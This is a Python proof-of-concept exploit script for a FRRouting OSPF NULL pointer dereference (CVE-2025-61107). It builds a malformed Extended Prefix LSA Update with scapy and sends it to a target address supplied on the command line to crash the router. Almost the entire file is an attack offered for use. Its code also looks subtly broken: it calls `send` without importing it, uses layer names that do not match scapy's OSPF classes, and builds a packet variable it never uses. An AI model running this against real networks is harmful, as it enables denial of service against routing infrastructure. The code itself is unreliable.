#!/usr/bin/env python3
"""
CVE-2025-61107 PoC - FRRouting frr NULL Pointer Dereference
This PoC demonstrates triggering the NULL pointer dereference in FRRouting
via a crafted OSPF LSA Update packet containing malformed Extended Prefix SID.
Note: This is for educational and security research purposes only.
Author: Security Research
"""
from scapy.all import IP, IPv6, OSPF, OSPF_LSA, OSPF_LSA_ExtendedPrefix, Raw
import socket
import struct
def craft_malformed_lsa_update(target_ip, router_id):
"""
Craft a malformed OSPF LSA Update packet to trigger NULL pointer dereference
in FRRouting's show_vty_ext_pref_pref_sid function (ospf_ext.c)
"""
# OSPF Header
ospf_header = OSPF(
version=2,
type=4, # LSA Update
len=0,
src=router_id,
id=socket.inet_aton(router_id),
area=socket.inet_aton('0.0.0.0')
)
# Craft malformed Extended Prefix LSA with NULL pointer trigger
# The Extended Prefix SID sub-TLV with specific flags can cause NULL dereference
malformed_ext_prefix = OSPF_LSA_ExtendedPrefix(
reserved1=0,
route_type=1,
prefix_length=32,
address_prefix=target_ip,
# Extended Prefix SID sub-TLV - trigger condition
sub_tlv_type=1, # Extended Prefix SID
sub_tlv_length=8,
flags=0x40, # NP flag set, causing NULL pointer access
algorithm=0,
sid_label=0
)
# Construct the malicious LSA
malicious_lsa = OSPF_LSA(
age=0,
type=0x8009, # OSPF Extended Prefix LSA (Type 9 with E-bit)
id=struct.pack('>I', 1),
advrtr=socket.inet_aton(router_id),
seq=0x80000001,
chksum=0,
len=len(malformed_ext_prefix),
payload=malformed_ext_prefix
)
# OSPF LSA Update packet with malformed LSA
lsa_update = ospf_header / OSPF_LSA(count=1) / malicious_lsa
return IP(dst=target_ip, src=router_id) / ospf_header / OSPF_LSA(count=1) / malicious_lsa
def send_exploit(target_ip, router_id='10.0.0.1', interface='eth0'):
"""
Send the crafted exploit packet to trigger the vulnerability
"""
print(f"[*] Crafting malicious OSPF LSA Update packet for {target_ip}")
print(f"[*] Source Router ID: {router_id}")
# Craft the malicious packet
packet = craft_malformed_lsa_update(target_ip, router_id)
print("[*] Sending exploit packet...")
# Note: Requires raw socket privileges and proper OSPF configuration
send(packet, iface=interface, verbose=0)
print("[+] Exploit packet sent successfully")
print("[*] Target should experience DoS if vulnerable")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python3 cve-2025-61107.py <target_ip> [router_id]")
sys.exit(1)
target = sys.argv[1]
router_id = sys.argv[2] if len(sys.argv) > 2 else "10.0.0.1"
try:
send_exploit(target, router_id)
except Exception as e:
print(f"[-] Error: {e}")